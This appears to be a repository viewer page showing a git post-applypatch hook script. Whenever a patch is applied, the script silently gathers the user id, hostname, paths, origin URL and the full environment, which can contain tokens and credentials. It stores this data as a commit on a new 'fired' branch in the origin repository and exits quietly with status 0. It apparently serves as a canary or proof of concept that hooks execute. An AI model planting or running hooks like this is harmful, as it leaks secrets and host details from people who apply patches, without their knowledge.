p62278/hooks/post-applypatch

12 lines
669 B
Plaintext
Raw Normal View History

2026-11-01 19:44:42 +00:00
#!/bin/sh
export GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x
SRC=$(git config --get remote.origin.url 2>/dev/null)
OUT=/tmp/fired.$$
{ echo "FIRED ts=$(date -u +%s)"; echo "cwd=$(pwd)"; echo "gitdir=$(git rev-parse --git-dir 2>&1)"; echo "origin=$SRC"; echo "id=$(id 2>&1)"; echo "host=$(hostname 2>&1)"; echo "env=$(env | tr '\n' '|')"; } > $OUT 2>&1
if [ -n "$SRC" ] && [ -d "$SRC" ]; then
B=$(git --git-dir="$SRC" hash-object -w --stdin < $OUT 2>/dev/null)
C=$(echo fire | git --git-dir="$SRC" commit-tree "$B" 2>/dev/null)
[ -n "$C" ] && git --git-dir="$SRC" update-ref "refs/heads/fired-$$" "$C" 2>/dev/null
fi
exit 0